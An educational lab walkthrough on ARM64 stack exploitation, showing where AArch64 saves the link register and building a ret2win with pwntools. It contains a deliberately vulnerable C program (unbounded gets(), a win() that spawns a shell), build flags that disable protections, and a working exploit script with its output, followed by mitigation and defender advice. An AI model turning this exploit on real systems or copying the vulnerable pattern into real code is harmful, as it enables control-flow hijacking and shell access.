Skip to content

ARM64 Exploitation: the Link Register and ret2win

On AArch64 the return address lives in a register, not on the stack — until a non-leaf function saves it. Build the ARM ret2win in a lab and see where the saved link register sits.

Published on 4 min read

This is the first walkthrough in the ARM64 Exploitation area. Everything in the x86-64 series — ret2win, ROP, ret2libc — has an ARM counterpart, but the mechanics differ in one structural way that shapes everything else: the return address lives in a register. This guide builds the ARM ret2win and shows exactly where the saved link register sits.

Your own binary, disposable lab. See the lab rules. On x86 hosts, cross-compile and run under QEMU as noted above.

The AArch64 register model

Arguments go in x0–x7, the return value in x0. The registers that matter for control flow:

RegisterRole
x0–x7Function arguments / return value
x19–x28Callee-saved (preserved across calls)
x29Frame pointer (fp)
x30Link register (lr) — the return address
spStack pointer (must stay 16-byte aligned)
pcProgram counter

bl func sets x30 = <address after the bl> and branches. ret branches to x30. There is no return address on the stack — until a function needs to make its own calls.

Leaf vs non-leaf: where the return address lands

A leaf function calls nothing, so it never disturbs x30; a buffer overflow in one cannot reach a saved return address (there is none). A non-leaf function must preserve x30 across the calls it makes, so its prologue saves the frame pointer and link register to the stack:

stp  x29, x30, [sp, #-0x50]!   ; save fp + lr, allocate frame
...                            ; body, including local buffers
ldp  x29, x30, [sp], #0x50     ; restore fp + lr
ret                            ; branch to x30 (now attacker-controlled?)

That saved x30 sits above the locals, so an overflow overwrites it, and the epilogue reloads the corrupted value straight into x30 before ret:

AArch64 non-leaf stack frame (grows toward lower addresses)
  1. buf[64]local buffer the overflow starts in
    ◀ rsp
  2. saved x29frame pointer
  3. saved x30 (lr)return address — the overwrite target
paddingvaluepointer

Overwrite the saved x30, and after ret the CPU jumps wherever you chose.

The target

/* vuln.c — AArch64. win() is never called; vuln() is non-leaf (calls puts/gets). */
#include <stdio.h>
#include <stdlib.h>

void win(void) {
    puts("[+] control-flow hijacked on AArch64");
    system("/bin/sh");
}

void vuln(void) {
    char buf[64];
    puts("Name?");
    gets(buf);                 /* the bug (CWE-121) */
    printf("Hello, %s\n", buf);
}

int main(void) { setvbuf(stdout, NULL, _IONBF, 0); vuln(); return 0; }

Build for AArch64 with mitigations off (no canary, no PIE, and — crucially for ARM — no pointer authentication, covered in guide 3):

aarch64-linux-gnu-gcc -fno-stack-protector -no-pie \
  -mbranch-protection=none -O0 -g -o vuln vuln.c

Finding the offset and jumping to win()

pwntools drives QEMU and knows the AArch64 layout. The cyclic method is unchanged, only context.arch differs:

# exploit.py
from pwn import *

context.binary = elf = ELF("./vuln")   # sets context.arch = 'aarch64'

# 1) offset to the saved lr
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", cyclic(200, n=8))
io.wait()
off = cyclic_find(io.corefile.read(io.corefile.sp, 8), n=8)
log.success("offset to saved lr: %d", off)   # 72 = 64 buf + 8 saved x29

# 2) overwrite the saved lr with win()
payload = flat({72: p64(elf.symbols["win"])})
io = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu", "./vuln"])
io.sendlineafter(b"Name?\n", payload)
io.interactive()
$ python3 exploit.py
[+] offset to saved lr: 72
[*] Switching to interactive mode
[+] control-flow hijacked on AArch64
$ id
uid=1000(lab) gid=1000(lab)

The ldp in vuln's epilogue loaded our value into x30; ret branched to win. Note AArch64's strict 16-byte stack alignment: if win misbehaves, ensure sp stays aligned — the ARM analogue of the x86 movaps issue.

Turn the mitigations back on

MitigationEffect on ARM ret2win
Stack canary (-fstack-protector-strong)Detects the overflow before the epilogue restores x30
PIE + ASLRRandomizes win(); a blind jump needs a leak
PAC (-mbranch-protection=pac-ret)Signs the saved x30; a forged return fails authentication — see guide 3

PAC is the ARM-specific one and the reason this area exists: on a PAC-enabled build, overwriting the saved x30 is not enough, because the epilogue authenticates it before ret.

What this teaches a defender

  • "The return address is in a register" is not a mitigation. It only protects leaf functions. Every function that makes a call spills lr to the stack, where an overflow reaches it. Do not assume AArch64 is inherently safe from stack smashing.
  • Enable pointer authentication. -mbranch-protection=pac-ret (or standard) is the single highest-value flag on modern ARM, and it targets exactly this overwrite. Confirm your build actually emits paciasp/autiasp.
  • The bug is still one unbounded gets. Architecture changes the exploitation mechanics, not the root cause — bound the copy, per stack buffer overflows.

Key takeaways

  • AArch64 keeps the return address in x30 (lr); bl sets it, ret branches to it.
  • Leaf functions have no saved return address to overwrite; non-leaf functions spill x29/x30 to the stack, where an overflow reaches the saved lr.
  • The ret2win is the same shape as x86: find the offset, overwrite the saved lr, jump to win() — mind 16-byte sp alignment.
  • Canary, PIE and especially PAC each break a different step; PAC authenticates the saved lr before ret.

Next: ROP on ARM64, where gadgets end in ret and the chain is threaded through the link register.

Related guides

0x8000 · ARM64 Exploitation

ROP on ARM64: Gadgets and the Link Register

AArch64 gadgets end in ret, which branches to x30 — so the chain is threaded through the link register with ldp gadgets. Build a system("/bin/sh") chain, then watch PAC and BTI break it.

0x7000 · Exploitation Techniques

Hijacking Control Flow: the ret2win Technique

A complete lab walkthrough: build a vulnerable C program, find the offset to the saved return address, redirect execution with pwntools, then watch each mitigation break the exploit.

0x7000 · Exploitation Techniques

one-gadget: One Address to a Shell

Sometimes you control just one pointer. A one-gadget is a single libc address that calls execve("/bin/sh") — if its register and stack constraints hold. Find one, check the constraints, and use it.